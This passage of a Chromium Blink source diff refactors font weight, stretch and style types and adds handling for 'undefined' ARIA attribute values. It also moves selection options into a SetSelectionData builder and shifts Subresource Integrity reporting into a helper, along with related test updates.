   while (!range.AtEnd()) {
     CSSValueID id = range.Peek().Id();
diff --git a/third_party/WebKit/Source/core/css/resolver/FontBuilder.cpp b/third_party/WebKit/Source/core/css/resolver/FontBuilder.cpp
index f06742c..131ca19a 100644
--- a/third_party/WebKit/Source/core/css/resolver/FontBuilder.cpp
+++ b/third_party/WebKit/Source/core/css/resolver/FontBuilder.cpp
@@ -110,22 +110,10 @@
   SetFamilyDescription(font_description_, family_description);
 }
 
-void FontBuilder::SetWeight(FontSelectionValue weight) {
+void FontBuilder::SetWeight(FontWeight font_weight) {
   Set(PropertySetFlag::kWeight);
 
-  font_description_.SetWeight(weight);
-}
-
-void FontBuilder::SetStyle(FontSelectionValue slope) {
-  Set(PropertySetFlag::kStyle);
-
-  font_description_.SetStyle(slope);
-}
-
-void FontBuilder::SetStretch(FontSelectionValue stretch) {
-  Set(PropertySetFlag::kStretch);
-
-  font_description_.SetStretch(stretch);
+  font_description_.SetWeight(font_weight);
 }
 
 void FontBuilder::SetSize(const FontDescription::Size& size) {
@@ -138,12 +126,24 @@
   font_description_.SetSizeAdjust(aspect_value);
 }
 
+void FontBuilder::SetStretch(FontStretch font_stretch) {
+  Set(PropertySetFlag::kStretch);
+
+  font_description_.SetStretch(font_stretch);
+}
+
 void FontBuilder::SetLocale(PassRefPtr<const LayoutLocale> locale) {
   Set(PropertySetFlag::kLocale);
 
   font_description_.SetLocale(std::move(locale));
 }
 
+void FontBuilder::SetStyle(FontStyle italic) {
+  Set(PropertySetFlag::kStyle);
+
+  font_description_.SetStyle(italic);
+}
+
 void FontBuilder::SetVariantCaps(FontDescription::FontVariantCaps caps) {
   Set(PropertySetFlag::kVariantCaps);
 
diff --git a/third_party/WebKit/Source/core/css/resolver/FontBuilder.h b/third_party/WebKit/Source/core/css/resolver/FontBuilder.h
index 29142d7d..93e3fa3 100644
--- a/third_party/WebKit/Source/core/css/resolver/FontBuilder.h
+++ b/third_party/WebKit/Source/core/css/resolver/FontBuilder.h
@@ -56,16 +56,14 @@
 
   float FontSizeForKeyword(unsigned keyword, bool is_monospace) const;
 
+  void SetWeight(FontWeight);
   void SetSize(const FontDescription::Size&);
   void SetSizeAdjust(const float aspect_value);
-
-  void SetStretch(FontSelectionValue);
-  void SetStyle(FontSelectionValue);
-  void SetWeight(FontSelectionValue);
-
+  void SetStretch(FontStretch);
   void SetFamilyDescription(const FontDescription::FamilyDescription&);
   void SetFeatureSettings(PassRefPtr<FontFeatureSettings>);
   void SetLocale(PassRefPtr<const LayoutLocale>);
+  void SetStyle(FontStyle);
   void SetVariantCaps(FontDescription::FontVariantCaps);
   void SetVariantLigatures(const FontDescription::VariantLigatures&);
   void SetVariantNumeric(const FontVariantNumeric&);
@@ -106,16 +104,13 @@
     return FontVariantNumeric();
   };
   static LayoutLocale* InitialLocale() { return nullptr; }
+  static FontStyle InitialStyle() { return kFontStyleNormal; }
   static FontDescription::Kerning InitialKerning() {
     return FontDescription::kAutoKerning;
   }
   static FontSmoothingMode InitialFontSmoothing() { return kAutoSmoothing; }
-
-  static FontSelectionValueStretch InitialStretch() {
-    return NormalWidthValue();
-  }
-  static FontSelectionValueStyle InitialStyle() { return NormalSlopeValue(); }
-  static FontSelectionValue InitialWeight() { return NormalWeightValue(); }
+  static FontStretch InitialStretch() { return kFontStretchNormal; }
+  static FontWeight InitialWeight() { return kFontWeightNormal; }
 
  private:
   void SetFamilyDescription(FontDescription&,
diff --git a/third_party/WebKit/Source/core/css/resolver/FontBuilderTest.cpp b/third_party/WebKit/Source/core/css/resolver/FontBuilderTest.cpp
index 3900805..8df8990 100644
--- a/third_party/WebKit/Source/core/css/resolver/FontBuilderTest.cpp
+++ b/third_party/WebKit/Source/core/css/resolver/FontBuilderTest.cpp
@@ -92,17 +92,17 @@
 }
 
 static void FontWeightBase(FontDescription& d) {
-  d.SetWeight(FontSelectionValue(900));
+  d.SetWeight(kFontWeight900);
 }
 static void FontWeightValue(FontBuilder& b) {
-  b.SetWeight(NormalWeightValue());
+  b.SetWeight(kFontWeightNormal);
 }
 
 static void FontStretchBase(FontDescription& d) {
-  d.SetStretch(UltraExpandedWidthValue());
+  d.SetStretch(kFontStretchUltraExpanded);
 }
 static void FontStretchValue(FontBuilder& b) {
-  b.SetStretch(ExtraCondensedWidthValue());
+  b.SetStretch(kFontStretchExtraCondensed);
 }
 
 static void FontFamilyBase(FontDescription& d) {
@@ -121,10 +121,10 @@
 }
 
 static void FontStyleBase(FontDescription& d) {
-  d.SetStyle(ItalicSlopeValue());
+  d.SetStyle(kFontStyleItalic);
 }
 static void FontStyleValue(FontBuilder& b) {
-  b.SetStyle(NormalSlopeValue());
+  b.SetStyle(kFontStyleNormal);
 }
 
 static void FontVariantCapsBase(FontDescription& d) {
diff --git a/third_party/WebKit/Source/core/css/resolver/FontStyleResolver.cpp b/third_party/WebKit/Source/core/css/resolver/FontStyleResolver.cpp
index 66fb6cb..440483f 100644
--- a/third_party/WebKit/Source/core/css/resolver/FontStyleResolver.cpp
+++ b/third_party/WebKit/Source/core/css/resolver/FontStyleResolver.cpp
@@ -34,12 +34,12 @@
   // CSSPropertyFontStretch
   builder.SetStretch(ToCSSIdentifierValue(*property_set.GetPropertyCSSValue(
                                               CSSPropertyFontStretch))
-                         .ConvertTo<FontSelectionValueStretch>());
+                         .ConvertTo<FontStretch>());
 
   // CSSPropertyFontStyle
   builder.SetStyle(ToCSSIdentifierValue(
                        *property_set.GetPropertyCSSValue(CSSPropertyFontStyle))
-                       .ConvertTo<FontSelectionValueStyle>());
+                       .ConvertTo<FontStyle>());
 
   // CSSPropertyFontVariantCaps
   builder.SetVariantCaps(StyleBuilderConverterBase::ConvertFontVariantCaps(
diff --git a/third_party/WebKit/Source/core/css/resolver/StyleBuilderConverter.cpp b/third_party/WebKit/Source/core/css/resolver/StyleBuilderConverter.cpp
index 8863426..9ca88a8b 100644
--- a/third_party/WebKit/Source/core/css/resolver/StyleBuilderConverter.cpp
+++ b/third_party/WebKit/Source/core/css/resolver/StyleBuilderConverter.cpp
@@ -384,38 +384,22 @@
   }
 }
 
-FontSelectionValue StyleBuilderConverterBase::ConvertFontWeight(
+FontWeight StyleBuilderConverterBase::ConvertFontWeight(
     const CSSValue& value,
-    FontSelectionValue parent_weight) {
-  if (value.IsPrimitiveValue()) {
-    const CSSPrimitiveValue& primitive_value = ToCSSPrimitiveValue(value);
-    if (primitive_value.IsNumber())
-      return clampTo<FontSelectionValue>(primitive_value.GetFloatValue());
+    FontWeight parent_weight) {
+  const CSSIdentifierValue& identifier_value = ToCSSIdentifierValue(value);
+  switch (identifier_value.GetValueID()) {
+    case CSSValueBolder:
+      return FontDescription::BolderWeight(parent_weight);
+    case CSSValueLighter:
+      return FontDescription::LighterWeight(parent_weight);
+    default:
+      return identifier_value.ConvertTo<FontWeight>();
   }
-
-  if (value.IsIdentifierValue()) {
-    const CSSIdentifierValue& identifier_value = ToCSSIdentifierValue(value);
-    switch (identifier_value.GetValueID()) {
-      case CSSValueNormal:
-        return NormalWeightValue();
-      case CSSValueBold:
-        return BoldWeightValue();
-      case CSSValueBolder:
-        return FontDescription::BolderWeight(parent_weight);
-      case CSSValueLighter:
-        return FontDescription::LighterWeight(parent_weight);
-      default:
-        NOTREACHED();
-        return NormalWeightValue();
-    }
-  }
-  NOTREACHED();
-  return NormalWeightValue();
 }
 
-FontSelectionValue StyleBuilderConverter::ConvertFontWeight(
-    StyleResolverState& state,
-    const CSSValue& value) {
+FontWeight StyleBuilderConverter::ConvertFontWeight(StyleResolverState& state,
+                                                    const CSSValue& value) {
   return StyleBuilderConverterBase::ConvertFontWeight(
       value, state.ParentStyle()->GetFontDescription().Weight());
 }
diff --git a/third_party/WebKit/Source/core/css/resolver/StyleBuilderConverter.h b/third_party/WebKit/Source/core/css/resolver/StyleBuilderConverter.h
index dfa0995..79118270 100644
--- a/third_party/WebKit/Source/core/css/resolver/StyleBuilderConverter.h
+++ b/third_party/WebKit/Source/core/css/resolver/StyleBuilderConverter.h
@@ -58,8 +58,7 @@
   STATIC_ONLY(StyleBuilderConverterBase);
 
  public:
-  static FontSelectionValue ConvertFontWeight(const CSSValue&,
-                                              FontSelectionValue);
+  static FontWeight ConvertFontWeight(const CSSValue&, FontWeight);
   static FontDescription::FontVariantCaps ConvertFontVariantCaps(
       const CSSValue&);
   static FontDescription::FamilyDescription ConvertFontFamily(
@@ -106,9 +105,7 @@
   static FontDescription::Size ConvertFontSize(StyleResolverState&,
                                                const CSSValue&);
   static float ConvertFontSizeAdjust(StyleResolverState&, const CSSValue&);
-  static FontSelectionValue ConvertFontWeight(StyleResolverState&,
-                                              const CSSValue&);
-
+  static FontWeight ConvertFontWeight(StyleResolverState&, const CSSValue&);
   static FontDescription::FontVariantCaps ConvertFontVariantCaps(
       StyleResolverState&,
       const CSSValue&);
diff --git a/third_party/WebKit/Source/core/dom/AccessibleNode.cpp b/third_party/WebKit/Source/core/dom/AccessibleNode.cpp
index 9823ee43..6f92203 100644
--- a/third_party/WebKit/Source/core/dom/AccessibleNode.cpp
+++ b/third_party/WebKit/Source/core/dom/AccessibleNode.cpp
@@ -352,6 +352,10 @@
                            default_value);
 }
 
+bool AccessibleNode::IsUndefinedAttrValue(const AtomicString& value) {
+  return value.IsEmpty() || EqualIgnoringASCIICase(value, "undefined");
+}
+
 // static
 const AtomicString& AccessibleNode::GetPropertyOrARIAAttribute(
     Element* element,
@@ -359,13 +363,23 @@
   if (!element)
     return g_null_atom;
 
+  const bool is_token_attr = IsStringTokenProperty(property);
   const AtomicString& result = GetProperty(element, property);
-  if (!result.IsNull())
-    return result;
 
-  // Fall back on the equivalent ARIA attribute.
-  QualifiedName attribute = GetCorrespondingARIAAttribute(property);
-  return element->FastGetAttribute(attribute);
+  if (result.IsNull()) {
+    // Fall back on the equivalent ARIA attribute.
+    QualifiedName attribute = GetCorrespondingARIAAttribute(property);
+    const AtomicString& attr_value = element->FastGetAttribute(attribute);
+    if (is_token_attr && IsUndefinedAttrValue(attr_value))
+      return g_null_atom;  // Attribute not set or explicitly undefined.
+
+    return attr_value;
+  }
+
+  if (is_token_attr && IsUndefinedAttrValue(result))
+    return g_null_atom;  // Property specifically set to undefined value.
+
+  return result;
 }
 
 // static
@@ -436,7 +450,7 @@
   // Fall back on the equivalent ARIA attribute.
   QualifiedName attribute = GetCorrespondingARIAAttribute(property);
   AtomicString attr_value = element->FastGetAttribute(attribute);
-  is_null = attr_value.IsNull();
+  is_null = IsUndefinedAttrValue(attr_value);
   return EqualIgnoringASCIICase(attr_value, "true");
 }
 
@@ -967,6 +981,33 @@
   NotifyAttributeChanged(aria_valuetextAttr);
 }
 
+// These properties support a list of tokens, and "undefined"/"" is
+// equivalent to not setting the attribute.
+bool AccessibleNode::IsStringTokenProperty(AOMStringProperty property) {
+  switch (property) {
+    case AOMStringProperty::kAutocomplete:
+    case AOMStringProperty::kChecked:
+    case AOMStringProperty::kCurrent:
+    case AOMStringProperty::kHasPopUp:
+    case AOMStringProperty::kInvalid:
+    case AOMStringProperty::kLive:
+    case AOMStringProperty::kOrientation:
+    case AOMStringProperty::kPressed:
+    case AOMStringProperty::kRelevant:
+    case AOMStringProperty::kSort:
+      return true;
+    case AOMStringProperty::kKeyShortcuts:
+    case AOMStringProperty::kLabel:
+    case AOMStringProperty::kPlaceholder:
+    case AOMStringProperty::kRole:  // Is token, but ""/"undefined" not
+                                    // supported.
+    case AOMStringProperty::kRoleDescription:
+    case AOMStringProperty::kValueText:
+      break;
+  }
+  return false;
+}
+
 void AccessibleNode::SetStringProperty(AOMStringProperty property,
                                        const AtomicString& value) {
   for (auto& item : string_properties_) {
diff --git a/third_party/WebKit/Source/core/dom/AccessibleNode.h b/third_party/WebKit/Source/core/dom/AccessibleNode.h
index 4dce32f..42822d29 100644
--- a/third_party/WebKit/Source/core/dom/AccessibleNode.h
+++ b/third_party/WebKit/Source/core/dom/AccessibleNode.h
@@ -137,6 +137,13 @@
   static int32_t GetProperty(Element*, AOMIntProperty, bool& is_null);
   static uint32_t GetProperty(Element*, AOMUIntProperty, bool& is_null);
 
+  // Does the attribute value match one of the ARIA undefined patterns for
+  // boolean and token properties?
+  // These include the empty string ("") or "undefined" as a literal.
+  // See ARIA 1.1 Sections 6.2 and 6.3, as well as properties that specifically
+  // indicate a supported value of "undefined".
+  static bool IsUndefinedAttrValue(const AtomicString&);
+
   // Returns the value of the given string property if the
   // Element has an AccessibleNode, otherwise returns the equivalent
   // ARIA attribute.
@@ -329,6 +336,7 @@
   void OnRelationListChanged(AOMRelationListProperty);
 
  private:
+  static bool IsStringTokenProperty(AOMStringProperty);
   void SetStringProperty(AOMStringProperty, const AtomicString&);
   void SetRelationProperty(AOMRelationProperty, AccessibleNode*);
   void SetRelationListProperty(AOMRelationListProperty, AccessibleNodeList*);
diff --git a/third_party/WebKit/Source/core/dom/ClassicPendingScript.cpp b/third_party/WebKit/Source/core/dom/ClassicPendingScript.cpp
index 9aae672..22a8da9 100644
--- a/third_party/WebKit/Source/core/dom/ClassicPendingScript.cpp
+++ b/third_party/WebKit/Source/core/dom/ClassicPendingScript.cpp
@@ -10,7 +10,6 @@
 #include "core/dom/Document.h"
 #include "core/dom/TaskRunnerHelper.h"
 #include "core/frame/LocalFrame.h"
-#include "core/frame/SubresourceIntegrity.h"
 #include "platform/bindings/ScriptState.h"
 #include "platform/loader/fetch/MemoryCache.h"
 
diff --git a/third_party/WebKit/Source/core/dom/Element.cpp b/third_party/WebKit/Source/core/dom/Element.cpp
index 560889c5..7b39bff 100644
--- a/third_party/WebKit/Source/core/dom/Element.cpp
+++ b/third_party/WebKit/Source/core/dom/Element.cpp
@@ -78,6 +78,7 @@
 #include "core/dom/WhitespaceAttacher.h"
 #include "core/editing/EditingUtilities.h"
 #include "core/editing/FrameSelection.h"
+#include "core/editing/SetSelectionData.h"
 #include "core/editing/iterators/TextIterator.h"
 #include "core/editing/serializers/Serialization.h"
 #include "core/events/EventDispatcher.h"
@@ -2822,8 +2823,11 @@
         SelectionInDOMTree::Builder()
             .Collapse(FirstPositionInOrBeforeNode(this))
             .Build(),
-        FrameSelection::kCloseTyping | FrameSelection::kClearTypingStyle |
-            FrameSelection::kDoNotSetFocus);
+        SetSelectionData::Builder()
+            .SetShouldCloseTyping(true)
+            .SetShouldClearTypingStyle(true)
+            .SetDoNotSetFocus(true)
+            .Build());
     frame->Selection().RevealSelection();
   } else if (GetLayoutObject() &&
              !GetLayoutObject()->IsLayoutEmbeddedContent()) {
diff --git a/third_party/WebKit/Source/core/dom/Range.cpp b/third_party/WebKit/Source/core/dom/Range.cpp
index 2b0685b8..5cfc8ad9 100644
--- a/third_party/WebKit/Source/core/dom/Range.cpp
+++ b/third_party/WebKit/Source/core/dom/Range.cpp
@@ -38,6 +38,7 @@
 #include "core/editing/EditingUtilities.h"
 #include "core/editing/EphemeralRange.h"
 #include "core/editing/FrameSelection.h"
+#include "core/editing/SetSelectionData.h"
 #include "core/editing/VisiblePosition.h"
 #include "core/editing/VisibleUnits.h"
 #include "core/editing/iterators/TextIterator.h"
@@ -1690,9 +1691,11 @@
                              .Collapse(StartPosition())
                              .Extend(EndPosition())
                              .Build(),
-                         FrameSelection::kCloseTyping |
-                             FrameSelection::kClearTypingStyle |
-                             FrameSelection::kDoNotSetFocus);
+                         SetSelectionData::Builder()
+                             .SetShouldCloseTyping(true)
+                             .SetShouldClearTypingStyle(true)
+                             .SetDoNotSetFocus(true)
+                             .Build());
   selection.CacheRangeOfDocument(this);
 }
 
diff --git a/third_party/WebKit/Source/core/dom/ScriptLoader.cpp b/third_party/WebKit/Source/core/dom/ScriptLoader.cpp
index 4cc69716..0471fb55 100644
--- a/third_party/WebKit/Source/core/dom/ScriptLoader.cpp
+++ b/third_party/WebKit/Source/core/dom/ScriptLoader.cpp
@@ -44,15 +44,16 @@
 #include "core/dom/Text.h"
 #include "core/events/Event.h"
 #include "core/frame/LocalFrame.h"
-#include "core/frame/SubresourceIntegrity.h"
 #include "core/frame/UseCounter.h"
 #include "core/frame/csp/ContentSecurityPolicy.h"
 #include "core/html/imports/HTMLImport.h"
 #include "core/html/parser/HTMLParserIdioms.h"
 #include "core/inspector/ConsoleMessage.h"
+#include "core/loader/SubresourceIntegrityHelper.h"
 #include "core/loader/modulescript/ModuleScriptFetchRequest.h"
 #include "core/loader/resource/ScriptResource.h"
 #include "platform/WebFrameScheduler.h"
+#include "platform/loader/SubresourceIntegrity.h"
 #include "platform/loader/fetch/AccessControlStatus.h"
 #include "platform/loader/fetch/FetchParameters.h"
 #include "platform/loader/fetch/ResourceFetcher.h"
@@ -420,8 +421,10 @@
       String integrity_attr = element_->IntegrityAttributeValue();
       IntegrityMetadataSet integrity_metadata;
       if (!integrity_attr.IsEmpty()) {
+        SubresourceIntegrity::ReportInfo report_info;
         SubresourceIntegrity::ParseIntegrityAttribute(
-            integrity_attr, integrity_metadata, &element_document);
+            integrity_attr, integrity_metadata, &report_info);
+        SubresourceIntegrityHelper::DoReport(element_document, report_info);
       }
 
       if (!FetchClassicScript(url, element_document.Fetcher(), nonce,
diff --git a/third_party/WebKit/Source/core/editing/EditingStyle.cpp b/third_party/WebKit/Source/core/editing/EditingStyle.cpp
index f48186c..d730017 100644
--- a/third_party/WebKit/Source/core/editing/EditingStyle.cpp
+++ b/third_party/WebKit/Source/core/editing/EditingStyle.cpp
@@ -1550,28 +1550,12 @@
   }
 }
 
-static bool GetPrimitiveValueNumber(StylePropertySet* style,
-                                    CSSPropertyID property_id,
-                                    float& number) {
-  if (!style)
-    return false;
-  const CSSValue* value = style->GetPropertyCSSValue(property_id);
-  if (!value || !value->IsPrimitiveValue())
-    return false;
-  number = ToCSSPrimitiveValue(value)->GetFloatValue();
-  return true;
-}
-
 void StyleChange::ExtractTextStyles(Document* document,
                                     MutableStylePropertySet* style,
                                     bool is_monospace_font) {
   DCHECK(style);
 
-  float weight = 0;
-  bool is_number =
-      GetPrimitiveValueNumber(style, CSSPropertyFontWeight, weight);
-  if (GetIdentifierValue(style, CSSPropertyFontWeight) == CSSValueBold ||
-      (is_number && weight >= BoldThreshold())) {
+  if (GetIdentifierValue(style, CSSPropertyFontWeight) == CSSValueBold) {
     style->RemoveProperty(CSSPropertyFontWeight);
     apply_bold_ = true;
   }
@@ -1660,30 +1644,38 @@
 }
 
 static bool FontWeightIsBold(const CSSValue* font_weight) {
-  if (font_weight->IsIdentifierValue()) {
-    // Because b tag can only bold text, there are only two states in plain
-    // html: bold and not bold. Collapse all other values to either one of these
-    // two states for editing purposes.
+  if (!font_weight->IsIdentifierValue())
+    return false;
 
-    switch (ToCSSIdentifierValue(font_weight)->GetValueID()) {
-      case CSSValueNormal:
-        return false;
-      case CSSValueBold:
-        return true;
-      default:
-        break;
-    }
+  // Because b tag can only bold text, there are only two states in plain html:
+  // bold and not bold. Collapse all other values to either one of these two
+  // states for editing purposes.
+  switch (ToCSSIdentifierValue(font_weight)->GetValueID()) {
+    case CSSValue100:
+    case CSSValue200:
+    case CSSValue300:
+    case CSSValue400:
+    case CSSValue500:
+    case CSSValueNormal:
+      return false;
+    case CSSValueBold:
+    case CSSValue600:
+    case CSSValue700:
+    case CSSValue800:
+    case CSSValue900:
+      return true;
+    default:
+      break;
   }
 
-  CHECK(font_weight->IsPrimitiveValue());
-  CHECK(ToCSSPrimitiveValue(font_weight)->IsNumber());
-  return ToCSSPrimitiveValue(font_weight)->GetFloatValue() >= BoldThreshold();
+  NOTREACHED();  // For CSSValueBolder and CSSValueLighter
+  return false;
 }
 
 static bool FontWeightNeedsResolving(const CSSValue* font_weight) {
-  if (font_weight->IsPrimitiveValue())
-    return false;
-  CHECK(font_weight->IsIdentifierValue());
+  if (!font_weight->IsIdentifierValue())
+    return true;
+
   const CSSValueID value = ToCSSIdentifierValue(font_weight)->GetValueID();
   return value == CSSValueLighter || value == CSSValueBolder;
 }
diff --git a/third_party/WebKit/Source/core/editing/Editor.cpp b/third_party/WebKit/Source/core/editing/Editor.cpp
index a7204284..7603f38 100644
--- a/third_party/WebKit/Source/core/editing/Editor.cpp
+++ b/third_party/WebKit/Source/core/editing/Editor.cpp
@@ -46,6 +46,7 @@
 #include "core/editing/EditingUtilities.h"
 #include "core/editing/InputMethodController.h"
 #include "core/editing/RenderedPosition.h"
+#include "core/editing/SetSelectionData.h"
 #include "core/editing/VisibleUnits.h"
 #include "core/editing/commands/ApplyStyleCommand.h"
 #include "core/editing/commands/DeleteSelectionCommand.h"
@@ -948,7 +949,7 @@
 
   // Don't clear the typing style with this selection change. We do those things
   // elsewhere if necessary.
-  ChangeSelectionAfterCommand(new_selection, 0);
+  ChangeSelectionAfterCommand(new_selection, SetSelectionData());
 
   if (!cmd->PreservesTypingStyle())
     ClearTypingStyle();
@@ -987,9 +988,11 @@
 
   const SelectionInDOMTree& new_selection = CorrectedSelectionAfterCommand(
       cmd->StartingSelection(), GetFrame().GetDocument());
-  ChangeSelectionAfterCommand(
-      new_selection,
-      FrameSelection::kCloseTyping | FrameSelection::kClearTypingStyle);
+  ChangeSelectionAfterCommand(new_selection,
+                              SetSelectionData::Builder()
+                                  .SetShouldCloseTyping(true)
+                                  .SetShouldClearTypingStyle(true)
+                                  .Build());
 
   last_edit_command_ = nullptr;
   undo_stack_->RegisterRedoStep(cmd);
@@ -1008,9 +1011,11 @@
 
   const SelectionInDOMTree& new_selection = CorrectedSelectionAfterCommand(
       cmd->EndingSelection(), GetFrame().GetDocument());
-  ChangeSelectionAfterCommand(
-      new_selection,
-      FrameSelection::kCloseTyping | FrameSelection::kClearTypingStyle);
+  ChangeSelectionAfterCommand(new_selection,
+                              SetSelectionData::Builder()
+                                  .SetShouldCloseTyping(true)
+                                  .SetShouldClearTypingStyle(true)
+                                  .Build());
 
   last_edit_command_ = nullptr;
   undo_stack_->RegisterUndoStep(cmd);
@@ -1489,7 +1494,7 @@
 
 void Editor::ChangeSelectionAfterCommand(
     const SelectionInDOMTree& new_selection,
-    FrameSelection::SetSelectionOptions options) {
+    const SetSelectionData& options) {
   if (new_selection.IsNone())
     return;
 
diff --git a/third_party/WebKit/Source/core/editing/Editor.h b/third_party/WebKit/Source/core/editing/Editor.h
index 94e15e8..14e4058 100644
--- a/third_party/WebKit/Source/core/editing/Editor.h
+++ b/third_party/WebKit/Source/core/editing/Editor.h
@@ -355,7 +355,7 @@
       const ScrollAlignment& = ScrollAlignment::kAlignCenterIfNeeded,
       RevealExtentOption = kDoNotRevealExtent);
   void ChangeSelectionAfterCommand(const SelectionInDOMTree&,
-                                   FrameSelection::SetSelectionOptions);
+                                   const SetSelectionData&);
 
   SpellChecker& GetSpellChecker() const;
 
diff --git a/third_party/WebKit/Source/core/editing/FrameSelectionTest.cpp b/third_party/WebKit/Source/core/editing/FrameSelectionTest.cpp
index e144ae1..f92156be 100644
--- a/third_party/WebKit/Source/core/editing/FrameSelectionTest.cpp
+++ b/third_party/WebKit/Source/core/editing/FrameSelectionTest.cpp
@@ -32,7 +32,7 @@
 class FrameSelectionTest : public EditingTestBase {
  protected:
   const VisibleSelection& VisibleSelectionInDOMTree() const {
-    return Selection().ComputeVisibleSelectionInDOMTreeDeprecated();
+    return Selection().ComputeVisibleSelectionInDOMTree();
   }
   const VisibleSelectionInFlatTree& GetVisibleSelectionInFlatTree() const {
     return Selection().GetSelectionInFlatTree();
@@ -83,8 +83,7 @@
       SelectionInDOMTree::Builder()
           .SetBaseAndExtent(Position(text, 0), Position(text, 5))
           .Build());
-  EXPECT_FALSE(
-      Selection().ComputeVisibleSelectionInDOMTreeDeprecated().IsNone());
+  EXPECT_FALSE(Selection().ComputeVisibleSelectionInDOMTree().IsNone());
 }
 
 TEST_F(FrameSelectionTest, PaintCaretShouldNotLayout) {
@@ -99,8 +98,7 @@
   Selection().SetSelection(
       SelectionInDOMTree::Builder().Collapse(Position(text, 0)).Build());
   GetDocument().View()->UpdateAllLifecyclePhases();
-  EXPECT_TRUE(
-      Selection().ComputeVisibleSelectionInDOMTreeDeprecated().IsCaret());
+  EXPECT_TRUE(Selection().ComputeVisibleSelectionInDOMTree().IsCaret());
   EXPECT_TRUE(ToLayoutBlock(GetDocument().body()->GetLayoutObject())
                   ->ShouldPaintCursorCaret());
 
@@ -194,16 +192,14 @@
       TextGranularity::kCharacter, SetSelectionBy::kSystem))
       << "Selection.modify() returns false for non-user-triggered call when "
          "selection isn't modified.";
-  EXPECT_EQ(end_of_text,
-            Selection().ComputeVisibleSelectionInDOMTreeDeprecated().Start())
+  EXPECT_EQ(end_of_text, Selection().ComputeVisibleSelectionInDOMTree().Start())
       << "Selection isn't modified";
 
   EXPECT_TRUE(Selection().Modify(
       SelectionModifyAlteration::kMove, SelectionModifyDirection::kForward,
       TextGranularity::kCharacter, SetSelectionBy::kUser))
       << "Selection.modify() returns true for user-triggered call";
-  EXPECT_EQ(end_of_text,
-            Selection().ComputeVisibleSelectionInDOMTreeDeprecated().Start())
+  EXPECT_EQ(end_of_text, Selection().ComputeVisibleSelectionInDOMTree().Start())
       << "Selection isn't modified";
 }
 
@@ -289,7 +285,7 @@
   GetDocument().ReplaceChild(select, GetDocument().documentElement());
   GetDocument().UpdateStyleAndLayout();
   Selection().SelectAll();
-  EXPECT_TRUE(Selection().ComputeVisibleSelectionInDOMTreeDeprecated().IsNone())
+  EXPECT_TRUE(Selection().ComputeVisibleSelectionInDOMTree().IsNone())
       << "Nothing should be selected if the "
          "content of the documentElement is not "
          "selctable.";
diff --git a/third_party/WebKit/Source/core/editing/InputMethodController.cpp b/third_party/WebKit/Source/core/editing/InputMethodController.cpp
index 8ac57001..799bac1 100644
--- a/third_party/WebKit/Source/core/editing/InputMethodController.cpp
+++ b/third_party/WebKit/Source/core/editing/InputMethodController.cpp
@@ -35,6 +35,7 @@
 #include "core/editing/EditingUtilities.h"
 #include "core/editing/Editor.h"
 #include "core/editing/FrameSelection.h"
+#include "core/editing/SetSelectionData.h"
 #include "core/editing/commands/TypingCommand.h"
 #include "core/editing/markers/DocumentMarkerController.h"
 #include "core/editing/state_machines/BackwardCodePointStateMachine.h"
@@ -342,7 +343,7 @@
   // The composition can start inside a composed character sequence, so we have
   // to override checks. See <http://bugs.webkit.org/show_bug.cgi?id=15781>
   GetFrame().Selection().SetSelection(
-      SelectionInDOMTree::Builder().SetBaseAndExtent(range).Build(), 0);
+      SelectionInDOMTree::Builder().SetBaseAndExtent(range).Build());
 }
 
 bool IsCompositionTooLong(const Element& element) {
@@ -393,8 +394,9 @@
             .SetBaseAndExtent(old_selection_range)
             .SetIsHandleVisible(is_handle_visible)
             .Build();
-    GetFrame().Selection().SetSelection(selection,
-                                        FrameSelection::kCloseTyping);
+    GetFrame().Selection().SetSelection(
+        selection,
+        SetSelectionData::Builder().SetShouldCloseTyping(true).Build());
     return true;
   }
 
@@ -827,16 +829,16 @@
 
 bool InputMethodController::SetSelectionOffsets(
     const PlainTextRange& selection_offsets,
-    TypingContinuation Typing_continuation) {
+    TypingContinuation typing_continuation) {
   const EphemeralRange range = EphemeralRangeForOffsets(selection_offsets);
   if (range.IsNull())
     return false;
 
   GetFrame().Selection().SetSelection(
       SelectionInDOMTree::Builder().SetBaseAndExtent(range).Build(),
-      Typing_continuation == TypingContinuation::kEnd
-          ? FrameSelection::kCloseTyping
-          : 0);
+      SetSelectionData::Builder()
+          .SetShouldCloseTyping(typing_continuation == TypingContinuation::kEnd)
+          .Build());
   return true;
 }
 
diff --git a/third_party/WebKit/Source/core/editing/LayoutSelection.cpp b/third_party/WebKit/Source/core/editing/LayoutSelection.cpp
index 486cde48..446cf335 100644
--- a/third_party/WebKit/Source/core/editing/LayoutSelection.cpp
+++ b/third_party/WebKit/Source/core/editing/LayoutSelection.cpp
@@ -444,10 +444,6 @@
     ClearSelection();
     return;
   }
-  // Just return if the selection hasn't changed.
-  if (paint_range_ == new_range.ToPaintRange())
-    return;
-
   DCHECK(frame_selection_->GetDocument().GetLayoutView()->GetFrameView());
   DCHECK(!frame_selection_->GetDocument().NeedsLayoutTreeUpdate());
   SetShouldInvalidateSelection(new_range, paint_range_);
diff --git a/third_party/WebKit/Source/core/editing/SelectionController.cpp b/third_party/WebKit/Source/core/editing/SelectionController.cpp
index fd609f0..033df55 100644
--- a/third_party/WebKit/Source/core/editing/SelectionController.cpp
+++ b/third_party/WebKit/Source/core/editing/SelectionController.cpp
@@ -35,6 +35,7 @@
 #include "core/editing/Editor.h"
 #include "core/editing/FrameSelection.h"
 #include "core/editing/RenderedPosition.h"
+#include "core/editing/SetSelectionData.h"
 #include "core/editing/VisibleSelection.h"
 #include "core/editing/iterators/TextIterator.h"
 #include "core/editing/markers/DocumentMarkerController.h"
@@ -806,8 +807,12 @@
     return;
   Selection().SetSelection(
       ConvertToSelectionInDOMTree(selection_in_flat_tree),
-      FrameSelection::kCloseTyping | FrameSelection::kClearTypingStyle,
-      CursorAlignOnScroll::kIfNeeded, granularity);
+      SetSelectionData::Builder()
+          .SetShouldCloseTyping(true)
+          .SetShouldClearTypingStyle(true)
+          .SetCursorAlignOnScroll(CursorAlignOnScroll::kIfNeeded)
+          .SetGranularity(granularity)
+          .Build());
 }
 
 void SelectionController::SetCaretAtHitTestResult(
diff --git a/third_party/WebKit/Source/core/editing/SelectionModifier.cpp b/third_party/WebKit/Source/core/editing/SelectionModifier.cpp
index 6ea84b75..e2c1206 100644
--- a/third_party/WebKit/Source/core/editing/SelectionModifier.cpp
+++ b/third_party/WebKit/Source/core/editing/SelectionModifier.cpp
@@ -198,11 +198,8 @@
       Position::BeforeNode(*root_user_select_all), kCanCrossEditingBoundary));
 }
 
-VisiblePosition SelectionModifier::ModifyExtendingRight(
+VisiblePosition SelectionModifier::ModifyExtendingRightInternal(
